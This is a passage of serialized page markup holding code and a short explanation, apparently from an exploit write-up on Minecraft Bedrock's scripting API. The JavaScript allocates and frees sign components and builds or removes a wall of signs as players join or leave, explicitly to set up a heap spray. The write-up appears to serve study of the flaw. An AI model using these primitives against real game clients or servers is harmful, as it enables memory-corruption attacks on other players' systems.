ag":83,"props":149954,"children":149955},{"style":107},[149956],{"type":29,"value":321},{"type":24,"tag":83,"props":149958,"children":149959},{"class":85,"line":324},[149960,149964,149968],{"type":24,"tag":83,"props":149961,"children":149962},{"style":117},[149963],{"type":29,"value":15482},{"type":24,"tag":83,"props":149965,"children":149966},{"style":137},[149967],{"type":29,"value":149784},{"type":24,"tag":83,"props":149969,"children":149970},{"style":107},[149971],{"type":29,"value":321},{"type":24,"tag":83,"props":149973,"children":149974},{"class":85,"line":345},[149975],{"type":24,"tag":83,"props":149976,"children":149977},{"style":107},[149978],{"type":29,"value":446},{"type":24,"tag":83,"props":149980,"children":149981},{"class":85,"line":358},[149982],{"type":24,"tag":83,"props":149983,"children":149984},{"emptyLinePlaceholder":16},[149985],{"type":29,"value":3422},{"type":24,"tag":83,"props":149987,"children":149988},{"class":85,"line":367},[149989,149993,149997,150002,150006,150011],{"type":24,"tag":83,"props":149990,"children":149991},{"style":137},[149992],{"type":29,"value":31184},{"type":24,"tag":83,"props":149994,"children":149995},{"style":107},[149996],{"type":29,"value":161},{"type":24,"tag":83,"props":149998,"children":149999},{"style":101},[150000],{"type":29,"value":150001},"warn",{"type":24,"tag":83,"props":150003,"children":150004},{"style":107},[150005],{"type":29,"value":558},{"type":24,"tag":83,"props":150007,"children":150008},{"style":187},[150009],{"type":29,"value":150010},"\"No more allocs\"",{"type":24,"tag":83,"props":150012,"children":150013},{"style":107},[150014],{"type":29,"value":581},{"type":24,"tag":83,"props":150016,"children":150017},{"class":85,"line":406},[150018,150022,150026],{"type":24,"tag":83,"props":150019,"children":150020},{"style":117},[150021],{"type":29,"value":16725},{"type":24,"tag":83,"props":150023,"children":150024},{"style":90},[150025],{"type":29,"value":39053},{"type":24,"tag":83,"props":150027,"children":150028},{"style":107},[150029],{"type":29,"value":321},{"type":24,"tag":83,"props":150031,"children":150032},{"class":85,"line":427},[150033],{"type":24,"tag":83,"props":150034,"children":150035},{"style":107},[150036],{"type":29,"value":464},{"type":24,"tag":83,"props":150038,"children":150039},{"class":85,"line":440},[150040],{"type":24,"tag":83,"props":150041,"children":150042},{"emptyLinePlaceholder":16},[150043],{"type":29,"value":3422},{"type":24,"tag":83,"props":150045,"children":150046},{"class":85,"line":449},[150047],{"type":24,"tag":83,"props":150048,"children":150049},{"style":2735},[150050],{"type":29,"value":150051},"// Free an allocated sign in the client\n",{"type":24,"tag":83,"props":150053,"children":150054},{"class":85,"line":458},[150055,150059,150064,150068,150072],{"type":24,"tag":83,"props":150056,"children":150057},{"style":90},[150058],{"type":29,"value":31126},{"type":24,"tag":83,"props":150060,"children":150061},{"style":101},[150062],{"type":29,"value":150063}," free",{"type":24,"tag":83,"props":150065,"children":150066},{"style":107},[150067],{"type":29,"value":558},{"type":24,"tag":83,"props":150069,"children":150070},{"style":137},[150071],{"type":29,"value":149813},{"type":24,"tag":83,"props":150073,"children":150074},{"style":107},[150075],{"type":29,"value":253},{"type":24,"tag":83,"props":150077,"children":150078},{"class":85,"line":1065},[150079,150083,150087,150091,150095,150099,150103,150107,150111,150115,150119,150123],{"type":24,"tag":83,"props":150080,"children":150081},{"style":117},[150082],{"type":29,"value":218},{"type":24,"tag":83,"props":150084,"children":150085},{"style":107},[150086],{"type":29,"value":223},{"type":24,"tag":83,"props":150088,"children":150089},{"style":137},[150090],{"type":29,"value":149813},{"type":24,"tag":83,"props":150092,"children":150093},{"style":143},[150094],{"type":29,"value":3028},{"type":24,"tag":83,"props":150096,"children":150097},{"style":90},[150098],{"type":29,"value":39053},{"type":24,"tag":83,"props":150100,"children":150101},{"style":143},[150102],{"type":29,"value":23447},{"type":24,"tag":83,"props":150104,"children":150105},{"style":137},[150106],{"type":29,"value":149784},{"type":24,"tag":83,"props":150108,"children":150109},{"style":107},[150110],{"type":29,"value":161},{"type":24,"tag":83,"props":150112,"children":150113},{"style":137},[150114],{"type":29,"value":149822},{"type":24,"tag":83,"props":150116,"children":150117},{"style":143},[150118],{"type":29,"value":3028},{"type":24,"tag":83,"props":150120,"children":150121},{"style":90},[150122],{"type":29,"value":8803},{"type":24,"tag":83,"props":150124,"children":150125},{"style":107},[150126],{"type":29,"value":253},{"type":24,"tag":83,"props":150128,"children":150129},{"class":85,"line":1668},[150130,150134],{"type":24,"tag":83,"props":150131,"children":150132},{"style":117},[150133],{"type":29,"value":15482},{"type":24,"tag":83,"props":150135,"children":150136},{"style":107},[150137],{"type":29,"value":321},{"type":24,"tag":83,"props":150139,"children":150140},{"class":85,"line":1713},[150141],{"type":24,"tag":83,"props":150142,"children":150143},{"style":107},[150144],{"type":29,"value":446},{"type":24,"tag":83,"props":150146,"children":150147},{"class":85,"line":1730},[150148],{"type":24,"tag":83,"props":150149,"children":150150},{"emptyLinePlaceholder":16},[150151],{"type":29,"value":3422},{"type":24,"tag":83,"props":150153,"children":150154},{"class":85,"line":1770},[150155,150160,150164,150168,150172,150176,150180,150185],{"type":24,"tag":83,"props":150156,"children":150157},{"style":137},[150158],{"type":29,"value":150159},"    sign",{"type":24,"tag":83,"props":150161,"children":150162},{"style":107},[150163],{"type":29,"value":161},{"type":24,"tag":83,"props":150165,"children":150166},{"style":137},[150167],{"type":29,"value":149813},{"type":24,"tag":83,"props":150169,"children":150170},{"style":107},[150171],{"type":29,"value":161},{"type":24,"tag":83,"props":150173,"children":150174},{"style":101},[150175],{"type":29,"value":149893},{"type":24,"tag":83,"props":150177,"children":150178},{"style":107},[150179],{"type":29,"value":558},{"type":24,"tag":83,"props":150181,"children":150182},{"style":187},[150183],{"type":29,"value":150184},"\"\"",{"type":24,"tag":83,"props":150186,"children":150187},{"style":107},[150188],{"type":29,"value":581},{"type":24,"tag":83,"props":150190,"children":150191},{"class":85,"line":1778},[150192,150196,150200,150204,150208,150212],{"type":24,"tag":83,"props":150193,"children":150194},{"style":137},[150195],{"type":29,"value":150159},{"type":24,"tag":83,"props":150197,"children":150198},{"style":107},[150199],{"type":29,"value":161},{"type":24,"tag":83,"props":150201,"children":150202},{"style":137},[150203],{"type":29,"value":149822},{"type":24,"tag":83,"props":150205,"children":150206},{"style":143},[150207],{"type":29,"value":146},{"type":24,"tag":83,"props":150209,"children":150210},{"style":90},[150211],{"type":29,"value":8803},{"type":24,"tag":83,"props":150213,"children":150214},{"style":107},[150215],{"type":29,"value":321},{"type":24,"tag":83,"props":150217,"children":150218},{"class":85,"line":1803},[150219],{"type":24,"tag":83,"props":150220,"children":150221},{"emptyLinePlaceholder":16},[150222],{"type":29,"value":3422},{"type":24,"tag":83,"props":150224,"children":150225},{"class":85,"line":1811},[150226,150230,150234,150239,150243,150248],{"type":24,"tag":83,"props":150227,"children":150228},{"style":137},[150229],{"type":29,"value":150159},{"type":24,"tag":83,"props":150231,"children":150232},{"style":107},[150233],{"type":29,"value":161},{"type":24,"tag":83,"props":150235,"children":150236},{"style":137},[150237],{"type":29,"value":150238},"block",{"type":24,"tag":83,"props":150240,"children":150241},{"style":107},[150242],{"type":29,"value":161},{"type":24,"tag":83,"props":150244,"children":150245},{"style":101},[150246],{"type":29,"value":150247},"setPermutation",{"type":24,"tag":83,"props":150249,"children":150250},{"style":107},[150251],{"type":29,"value":3208},{"type":24,"tag":83,"props":150253,"children":150254},{"class":85,"line":8792},[150255,150260,150264,150269,150273,150278],{"type":24,"tag":83,"props":150256,"children":150257},{"style":137},[150258],{"type":29,"value":150259},"        BlockPermutation",{"type":24,"tag":83,"props":150261,"children":150262},{"style":107},[150263],{"type":29,"value":161},{"type":24,"tag":83,"props":150265,"children":150266},{"style":101},[150267],{"type":29,"value":150268},"resolve",{"type":24,"tag":83,"props":150270,"children":150271},{"style":107},[150272],{"type":29,"value":558},{"type":24,"tag":83,"props":150274,"children":150275},{"style":187},[150276],{"type":29,"value":150277},"\"minecraft:air\"",{"type":24,"tag":83,"props":150279,"children":150280},{"style":107},[150281],{"type":29,"value":2905},{"type":24,"tag":83,"props":150283,"children":150284},{"class":85,"line":8810},[150285],{"type":24,"tag":83,"props":150286,"children":150287},{"style":107},[150288],{"type":29,"value":43373},{"type":24,"tag":83,"props":150290,"children":150291},{"class":85,"line":8855},[150292,150296,150300,150304,150308,150312],{"type":24,"tag":83,"props":150293,"children":150294},{"style":137},[150295],{"type":29,"value":150159},{"type":24,"tag":83,"props":150297,"children":150298},{"style":107},[150299],{"type":29,"value":161},{"type":24,"tag":83,"props":150301,"children":150302},{"style":137},[150303],{"type":29,"value":132498},{"type":24,"tag":83,"props":150305,"children":150306},{"style":143},[150307],{"type":29,"value":146},{"type":24,"tag":83,"props":150309,"children":150310},{"style":90},[150311],{"type":29,"value":12215},{"type":24,"tag":83,"props":150313,"children":150314},{"style":107},[150315],{"type":29,"value":321},{"type":24,"tag":83,"props":150317,"children":150318},{"class":85,"line":8961},[150319],{"type":24,"tag":83,"props":150320,"children":150321},{"style":107},[150322],{"type":29,"value":464},{"type":24,"tag":25,"props":150324,"children":150325},{},[150326,150328,150334],{"type":29,"value":150327},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":24,"tag":32,"props":150329,"children":150331},{"className":150330},[],[150332],{"type":29,"value":150333},"signs",{"type":29,"value":150335}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":24,"tag":73,"props":150337,"children":150339},{"code":150338,"language":35350,"meta":7,"className":35348,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[150340],{"type":24,"tag":32,"props":150341,"children":150342},{"__ignoreMap":7},[150343,150358,150365,150381,150398,150405,150467,150529,150536,150552,150560,150582,150608,150633,150653,150682,150694,150701,150709,150731,150765,150772,150792,150808,150824,150840,150852,150860,150867,150874,150881,150888,150904,150919,150926,150985,151044,151051,151066,151074,151102,151130,151138,151145,151164,151191,151198,151205,151220,151227,151234,151241,151248,151304,151316,151323,151330,151391,151403],{"type":24,"tag":83,"props":150344,"children":150345},{"class":85,"line":86},[150346,150350,150354],{"type":24,"tag":83,"props":150347,"children":150348},{"style":90},[150349],{"type":29,"value":11534},{"type":24,"tag":83,"props":150351,"children":150352},{"style":137},[150353],{"type":29,"value":149793},{"type":24,"tag":83,"props":150355,"children":150356},{"style":107},[150357],{"type":29,"value":321},{"type":24,"tag":83,"props":150359,"children":150360},{"class":85,"line":113},[150361],{"type":24,"tag":83,"props":150362,"children":150363},{"emptyLinePlaceholder":16},[150364],{"type":29,"value":3422},{"type":24,"tag":83,"props":150366,"children":150367},{"class":85,"line":128},[150368,150372,150377],{"type":24,"tag":83,"props":150369,"children":150370},{"style":90},[150371],{"type":29,"value":31126},{"type":24,"tag":83,"props":150373,"children":150374},{"style":101},[150375],{"type":29,"value":150376}," create_wall",{"type":24,"tag":83,"props":150378,"children":150379},{"style":107},[150380],{"type":29,"value":110},{"type":24,"tag":83,"props":150382,"children":150383},{"class":85,"line":183},[150384,150389,150393],{"type":24,"tag":83,"props":150385,"children":150386},{"style":137},[150387],{"type":29,"value":150388},"    signs",{"type":24,"tag":83,"props":150390,"children":150391},{"style":143},[150392],{"type":29,"value":146},{"type":24,"tag":83,"props":150394,"children":150395},{"style":107},[150396],{"type":29,"value":150397}," [];\n",{"type":24,"tag":83,"props":150399,"children":150400},{"class":85,"line":203},[150401],{"type":24,"tag":83,"props":150402,"children":150403},{"emptyLinePlaceholder":16},[150404],{"type":29,"value":3422},{"type":24,"tag":83,"props":150406,"children":150407},{"class":85,"line":212},[150408,150412,150416,150420,150425,150429,150433,150437,150442,150446,150451,150455,150459,150463],{"type":24,"tag":83,"props":150409,"children":150410},{"style":117},[150411],{"type":29,"value":2777},{"type":24,"tag":83,"props":150413,"children":150414},{"style":107},[150415],{"type":29,"value":223},{"type":24,"tag":83,"props":150417,"children":150418},{"style":90},[150419],{"type":29,"value":11534},{"type":24,"tag":83,"props":150421,"children":150422},{"style":137},[150423],{"type":29,"value":150424}," current_y",{"type":24,"tag":83,"props":150426,"children":150427},{"style":143},[150428],{"type":29,"value":146},{"type":24,"tag":83,"props":150430,"children":150431},{"style":245},[150432],{"type":29,"value":248},{"type":24,"tag":83,"props":150434,"children":150435},{"style":107},[150436],{"type":29,"value":16963},{"type":24,"tag":83,"props":150438,"children":150439},{"style":137},[150440],{"type":29,"value":150441},"current_y",{"type":24,"tag":83,"props":150443,"children":150444},{"style":143},[150445],{"type":29,"value":8463},{"type":24,"tag":83,"props":150447,"children":150448},{"style":137},[150449],{"type":29,"value":150450}," WALL_HEIGHT",{"type":24,"tag":83,"props":150452,"children":150453},{"style":107},[150454],{"type":29,"value":16963},{"type":24,"tag":83,"props":150456,"children":150457},{"style":137},[150458],{"type":29,"value":150441},{"type":24,"tag":83,"props":150460,"children":150461},{"style":143},[150462],{"type":29,"value":50984},{"type":24,"tag":83,"props":150464,"children":150465},{"style":107},[150466],{"type":29,"value":253},{"type":24,"tag":83,"props":150468,"children":150469},{"class":85,"line":256},[150470,150474,150478,150482,150487,150491,150495,150499,150504,150508,150513,150517,150521,150525],{"type":24,"tag":83,"props":150471,"children":150472},{"style":117},[150473],{"type":29,"value":60291},{"type":24,"tag":83,"props":150475,"children":150476},{"style":107},[150477],{"type":29,"value":223},{"type":24,"tag":83,"props":150479,"children":150480},{"style":90},[150481],{"type":29,"value":11534},{"type":24,"tag":83,"props":150483,"children":150484},{"style":137},[150485],{"type":29,"value":150486}," current_x",{"type":24,"tag":83,"props":150488,"children":150489},{"style":143},[150490],{"type":29,"value":146},{"type":24,"tag":83,"props":150492,"children":150493},{"style":245},[150494],{"type":29,"value":248},{"type":24,"tag":83,"props":150496,"children":150497},{"style":107},[150498],{"type":29,"value":16963},{"type":24,"tag":83,"props":150500,"children":150501},{"style":137},[150502],{"type":29,"value":150503},"current_x",{"type":24,"tag":83,"props":150505,"children":150506},{"style":143},[150507],{"type":29,"value":8463},{"type":24,"tag":83,"props":150509,"children":150510},{"style":137},[150511],{"type":29,"value":150512}," WALL_WIDTH",{"type":24,"tag":83,"props":150514,"children":150515},{"style":107},[150516],{"type":29,"value":16963},{"type":24,"tag":83,"props":150518,"children":150519},{"style":137},[150520],{"type":29,"value":150503},{"type":24,"tag":83,"props":150522,"children":150523},{"style":143},[150524],{"type":29,"value":50984},{"type":24,"tag":83,"props":150526,"children":150527},{"style":107},[150528],{"type":29,"value":253},{"type":24,"tag":83,"props":150530,"children":150531},{"class":85,"line":270},[150532],{"type":24,"tag":83,"props":150533,"children":150534},{"emptyLinePlaceholder":16},[150535],{"type":29,"value":3422},{"type":24,"tag":83,"props":150537,"children":150538},{"class":85,"line":302},[150539,150544,150548],{"type":24,"tag":83,"props":150540,"children":150541},{"style":107},[150542],{"type":29,"value":150543},"            [",{"type":24,"tag":83,"props":150545,"children":150546},{"style":143},[150547],{"type":29,"value":509},{"type":24,"tag":83,"props":150549,"children":150550},{"style":107},[150551],{"type":29,"value":1453},{"type":24,"tag":83,"props":150553,"children":150554},{"class":85,"line":324},[150555],{"type":24,"tag":83,"props":150556,"children":150557},{"style":107},[150558],{"type":29,"value":150559},"            \n",{"type":24,"tag":83,"props":150561,"children":150562},{"class":85,"line":345},[150563,150568,150573,150577],{"type":24,"tag":83,"props":150564,"children":150565},{"style":90},[150566],{"type":29,"value":150567},"            const",{"type":24,"tag":83,"props":150569,"children":150570},{"style":137},[150571],{"type":29,"value":150572}," sign_block",{"type":24,"tag":83,"props":150574,"children":150575},{"style":143},[150576],{"type":29,"value":146},{"type":24,"tag":83,"props":150578,"children":150579},{"style":137},[150580],{"type":29,"value":150581}," world\n",{"type":24,"tag":83,"props":150583,"children":150584},{"class":85,"line":358},[150585,150590,150595,150599,150604],{"type":24,"tag":83,"props":150586,"children":150587},{"style":107},[150588],{"type":29,"value":150589},"                .",{"type":24,"tag":83,"props":150591,"children":150592},{"style":101},[150593],{"type":29,"value":150594},"getDimension",{"type":24,"tag":83,"props":150596,"children":150597},{"style":107},[150598],{"type":29,"value":558},{"type":24,"tag":83,"props":150600,"children":150601},{"style":187},[150602],{"type":29,"value":150603},"\"overworld\"",{"type":24,"tag":83,"props":150605,"children":150606},{"style":107},[150607],{"type":29,"value":2905},{"type":24,"tag":83,"props":150609,"children":150610},{"class":85,"line":367},[150611,150615,150620,150624,150629],{"type":24,"tag":83,"props":150612,"children":150613},{"style":107},[150614],{"type":29,"value":150589},{"type":24,"tag":83,"props":150616,"children":150617},{"style":101},[150618],{"type":29,"value":150619},"getBlock",{"type":24,"tag":83,"props":150621,"children":150622},{"style":107},[150623],{"type":29,"value":558},{"type":24,"tag":83,"props":150625,"children":150626},{"style":137},[150627],{"type":29,"value":150628},"sign_location",{"type":24,"tag":83,"props":150630,"children":150631},{"style":107},[150632],{"type":29,"value":581},{"type":24,"tag":83,"props":150634,"children":150635},{"class":85,"line":406},[150636,150641,150645,150649],{"type":24,"tag":83,"props":150637,"children":150638},{"style":137},[150639],{"type":29,"value":150640},"            sign_block",{"type":24,"tag":83,"props":150642,"children":150643},{"style":107},[150644],{"type":29,"value":161},{"type":24,"tag":83,"props":150646,"children":150647},{"style":101},[150648],{"type":29,"value":150247},{"type":24,"tag":83,"props":150650,"children":150651},{"style":107},[150652],{"type":29,"value":3208},{"type":24,"tag":83,"props":150654,"children":150655},{"class":85,"line":427},[150656,150661,150665,150669,150673,150678],{"type":24,"tag":83,"props":150657,"children":150658},{"style":137},[150659],{"type":29,"value":150660},"                BlockPermutation",{"type":24,"tag":83,"props":150662,"children":150663},{"style":107},[150664],{"type":29,"value":161},{"type":24,"tag":83,"props":150666,"children":150667},{"style":101},[150668],{"type":29,"value":150268},{"type":24,"tag":83,"props":150670,"children":150671},{"style":107},[150672],{"type":29,"value":558},{"type":24,"tag":83,"props":150674,"children":150675},{"style":187},[150676],{"type":29,"value":150677},"\"minecraft:wall_sign\"",{"type":24,"tag":83,"props":150679,"children":150680},{"style":107},[150681],{"type":29,"value":963},{"type":24,"tag":83,"props":150683,"children":150684},{"class":85,"line":440},[150685,150690],{"type":24,"tag":83,"props":150686,"children":150687},{"style":137},[150688],{"type":29,"value":150689},"                    facing_direction:",{"type":24,"tag":83,"props":150691,"children":150692},{"style":245},[150693],{"type":29,"value":19066},{"type":24,"tag":83,"props":150695,"children":150696},{"class":85,"line":449},[150697],{"type":24,"tag":83,"props":150698,"children":150699},{"style":107},[150700],{"type":29,"value":70786},{"type":24,"tag":83,"props":150702,"children":150703},{"class":85,"line":458},[150704],{"type":24,"tag":83,"props":150705,"children":150706},{"style":107},[150707],{"type":29,"value":150708},"            ));\n",{"type":24,"tag":83,"props":150710,"children":150711},{"class":85,"line":1065},[150712,150717,150722,150726],{"type":24,"tag":83,"props":150713,"children":150714},{"style":90},[150715],{"type":29,"value":150716},"            let",{"type":24,"tag":83,"props":150718,"children":150719},{"style":137},[150720],{"type":29,"value":150721}," sign_component",{"type":24,"tag":83,"props":150723,"children":150724},{"style":143},[150725],{"type":29,"value":146},{"type":24,"tag":83,"props":150727,"children":150728},{"style":137},[150729],{"type":29,"value":150730}," sign_block\n",{"type":24,"tag":83,"props":150732,"children":150733},{"class":85,"line":1668},[150734,150738,150743,150747,150752,150756,150761],{"type":24,"tag":83,"props":150735,"children":150736},{"style":107},[150737],{"type":29,"value":150589},{"type":24,"tag":83,"props":150739,"children":150740},{"style":101},[150741],{"type":29,"value":150742},"getComponent",{"type":24,"tag":83,"props":150744,"children":150745},{"style":107},[150746],{"type":29,"value":558},{"type":24,"tag":83,"props":150748,"children":150749},{"style":137},[150750],{"type":29,"value":150751},"BlockComponentTypes",{"type":24,"tag":83,"props":150753,"children":150754},{"style":107},[150755],{"type":29,"value":161},{"type":24,"tag":83,"props":150757,"children":150758},{"style":137},[150759],{"type":29,"value":150760},"Sign",{"type":24,"tag":83,"props":150762,"children":150763},{"style":107},[150764],{"type":29,"value":581},{"type":24,"tag":83,"props":150766,"children":150767},{"class":85,"line":1713},[150768],{"type":24,"tag":83,"props":150769,"children":150770},{"emptyLinePlaceholder":16},[150771],{"type":29,"value":3422},{"type":24,"tag":83,"props":150773,"children":150774},{"class":85,"line":1730},[150775,150780,150784,150788],{"type":24,"tag":83,"props":150776,"children":150777},{"style":137},[150778],{"type":29,"value":150779},"            signs",{"type":24,"tag":83,"props":150781,"children":150782},{"style":107},[150783],{"type":29,"value":161},{"type":24,"tag":83,"props":150785,"children":150786},{"style":101},[150787],{"type":29,"value":3556},{"type":24,"tag":83,"props":150789,"children":150790},{"style":107},[150791],{"type":29,"value":180},{"type":24,"tag":83,"props":150793,"children":150794},{"class":85,"line":1770},[150795,150800,150804],{"type":24,"tag":83,"props":150796,"children":150797},{"style":137},[150798],{"type":29,"value":150799},"                sign:",{"type":24,"tag":83,"props":150801,"children":150802},{"style":137},[150803],{"type":29,"value":150721},{"type":24,"tag":83,"props":150805,"children":150806},{"style":107},[150807],{"type":29,"value":989},{"type":24,"tag":83,"props":150809,"children":150810},{"class":85,"line":1778},[150811,150816,150820],{"type":24,"tag":83,"props":150812,"children":150813},{"style":137},[150814],{"type":29,"value":150815},"                allocated:",{"type":24,"tag":83,"props":150817,"children":150818},{"style":90},[150819],{"type":29,"value":8803},{"type":24,"tag":83,"props":150821,"children":150822},{"style":107},[150823],{"type":29,"value":989},{"type":24,"tag":83,"props":150825,"children":150826},{"class":85,"line":1803},[150827,150832,150836],{"type":24,"tag":83,"props":150828,"children":150829},{"style":137},[150830],{"type":29,"value":150831},"                block:",{"type":24,"tag":83,"props":150833,"children":150834},{"style":137},[150835],{"type":29,"value":150572},{"type":24,"tag":83,"props":150837,"children":150838},{"style":107},[150839],{"type":29,"value":989},{"type":24,"tag":83,"props":150841,"children":150842},{"class":85,"line":1811},[150843,150848],{"type":24,"tag":83,"props":150844,"children":150845},{"style":137},[150846],{"type":29,"value":150847},"                removed:",{"type":24,"tag":83,"props":150849,"children":150850},{"style":90},[150851],{"type":29,"value":12057},{"type":24,"tag":83,"props":150853,"children":150854},{"class":85,"line":8792},[150855],{"type":24,"tag":83,"props":150856,"children":150857},{"style":107},[150858],{"type":29,"value":150859},"            });\n",{"type":24,"tag":83,"props":150861,"children":150862},{"class":85,"line":8810},[150863],{"type":24,"tag":83,"props":150864,"children":150865},{"style":107},[150866],{"type":29,"value":3092},{"type":24,"tag":83,"props":150868,"children":150869},{"class":85,"line":8855},[150870],{"type":24,"tag":83,"props":150871,"children":150872},{"style":107},[150873],{"type":29,"value":446},{"type":24,"tag":83,"props":150875,"children":150876},{"class":85,"line":8961},[150877],{"type":24,"tag":83,"props":150878,"children":150879},{"style":107},[150880],{"type":29,"value":464},{"type":24,"tag":83,"props":150882,"children":150883},{"class":85,"line":23248},[150884],{"type":24,"tag":83,"props":150885,"children":150886},{"emptyLinePlaceholder":16},[150887],{"type":29,"value":3422},{"type":24,"tag":83,"props":150889,"children":150890},{"class":85,"line":23283},[150891,150895,150900],{"type":24,"tag":83,"props":150892,"children":150893},{"style":90},[150894],{"type":29,"value":31126},{"type":24,"tag":83,"props":150896,"children":150897},{"style":101},[150898],{"type":29,"value":150899}," remove_wall",{"type":24,"tag":83,"props":150901,"children":150902},{"style":107},[150903],{"type":29,"value":110},{"type":24,"tag":83,"props":150905,"children":150906},{"class":85,"line":23291},[150907,150911,150915],{"type":24,"tag":83,"props":150908,"children":150909},{"style":137},[150910],{"type":29,"value":150388},{"type":24,"tag":83,"props":150912,"children":150913},{"style":143},[150914],{"type":29,"value":146},{"type":24,"tag":83,"props":150916,"children":150917},{"style":107},[150918],{"type":29,"value":150397},{"type":24,"tag":83,"props":150920,"children":150921},{"class":85,"line":23299},[150922],{"type":24,"tag":83,"props":150923,"children":150924},{"style":107},[150925],{"type":29,"value":61501},{"type":24,"tag":83,"props":150927,"children":150928},{"class":85,"line":23308},[150929,150933,150937,150941,150945,150949,150953,150957,150961,150965,150969,150973,150977,150981],{"type":24,"tag":83,"props":150930,"children":150931},{"style":117},[150932],{"type":29,"value":2777},{"type":24,"tag":83,"props":150934,"children":150935},{"style":107},[150936],{"type":29,"value":223},{"type":24,"tag":83,"props":150938,"children":150939},{"style":90},[150940],{"type":29,"value":11534},{"type":24,"tag":83,"props":150942,"children":150943},{"style":137},[150944],{"type":29,"value":150424},{"type":24,"tag":83,"props":150946,"children":150947},{"style":143},[150948],{"type":29,"value":146},{"type":24,"tag":83,"props":150950,"children":150951},{"style":245},[150952],{"type":29,"value":248},{"type":24,"tag":83,"props":150954,"children":150955},{"style":107},[150956],{"type":29,"value":16963},{"type":24,"tag":83,"props":150958,"children":150959},{"style":137},[150960],{"type":29,"value":150441},{"type":24,"tag":83,"props":150962,"children":150963},{"style":143},[150964],{"type":29,"value":8463},{"type":24,"tag":83,"props":150966,"children":150967},{"style":137},[150968],{"type":29,"value":150450},{"type":24,"tag":83,"props":150970,"children":150971},{"style":107},[150972],{"type":29,"value":16963},{"type":24,"tag":83,"props":150974,"children":150975},{"style":137},[150976],{"type":29,"value":150441},{"type":24,"tag":83,"props":150978,"children":150979},{"style":143},[150980],{"type":29,"value":50984},{"type":24,"tag":83,"props":150982,"children":150983},{"style":107},[150984],{"type":29,"value":253},{"type":24,"tag":83,"props":150986,"children":150987},{"class":85,"line":23350},[150988,150992,150996,151000,151004,151008,151012,151016,151020,151024,151028,151032,151036,151040],{"type":24,"tag":83,"props":150989,"children":150990},{"style":117},[150991],{"type":29,"value":60291},{"type":24,"tag":83,"props":150993,"children":150994},{"style":107},[150995],{"type":29,"value":223},{"type":24,"tag":83,"props":150997,"children":150998},{"style":90},[150999],{"type":29,"value":11534},{"type":24,"tag":83,"props":151001,"children":151002},{"style":137},[151003],{"type":29,"value":150486},{"type":24,"tag":83,"props":151005,"children":151006},{"style":143},[151007],{"type":29,"value":146},{"type":24,"tag":83,"props":151009,"children":151010},{"style":245},[151011],{"type":29,"value":248},{"type":24,"tag":83,"props":151013,"children":151014},{"style":107},[151015],{"type":29,"value":16963},{"type":24,"tag":83,"props":151017,"children":151018},{"style":137},[151019],{"type":29,"value":150503},{"type":24,"tag":83,"props":151021,"children":151022},{"style":143},[151023],{"type":29,"value":8463},{"type":24,"tag":83,"props":151025,"children":151026},{"style":137},[151027],{"type":29,"value":150512},{"type":24,"tag":83,"props":151029,"children":151030},{"style":107},[151031],{"type":29,"value":16963},{"type":24,"tag":83,"props":151033,"children":151034},{"style":137},[151035],{"type":29,"value":150503},{"type":24,"tag":83,"props":151037,"children":151038},{"style":143},[151039],{"type":29,"value":50984},{"type":24,"tag":83,"props":151041,"children":151042},{"style":107},[151043],{"type":29,"value":253},{"type":24,"tag":83,"props":151045,"children":151046},{"class":85,"line":23383},[151047],{"type":24,"tag":83,"props":151048,"children":151049},{"style":107},[151050],{"type":29,"value":150559},{"type":24,"tag":83,"props":151052,"children":151053},{"class":85,"line":23391},[151054,151058,151062],{"type":24,"tag":83,"props":151055,"children":151056},{"style":107},[151057],{"type":29,"value":150543},{"type":24,"tag":83,"props":151059,"children":151060},{"style":143},[151061],{"type":29,"value":509},{"type":24,"tag":83,"props":151063,"children":151064},{"style":107},[151065],{"type":29,"value":1453},{"type":24,"tag":83,"props":151067,"children":151068},{"class":85,"line":23399},[151069],{"type":24,"tag":83,"props":151070,"children":151071},{"style":107},[151072],{"type":29,"value":151073},"             \n",{"type":24,"tag":83,"props":151075,"children":151076},{"class":85,"line":23408},[151077,151081,151085,151089,151093,151098],{"type":24,"tag":83,"props":151078,"children":151079},{"style":90},[151080],{"type":29,"value":150567},{"type":24,"tag":83,"props":151082,"children":151083},{"style":137},[151084],{"type":29,"value":150572},{"type":24,"tag":83,"props":151086,"children":151087},{"style":143},[151088],{"type":29,"value":146},{"type":24,"tag":83,"props":151090,"children":151091},{"style":117},[151092],{"type":29,"value":151},{"type":24,"tag":83,"props":151094,"children":151095},{"style":101},[151096],{"type":29,"value":151097}," wait_for_block",{"type":24,"tag":83,"props":151099,"children":151100},{"style":107},[151101],{"type":29,"value":3208},{"type":24,"tag":83,"props":151103,"children":151104},{"class":85,"line":23484},[151105,151110,151114,151118,151122,151126],{"type":24,"tag":83,"props":151106,"children":151107},{"style":137},[151108],{"type":29,"value":151109},"                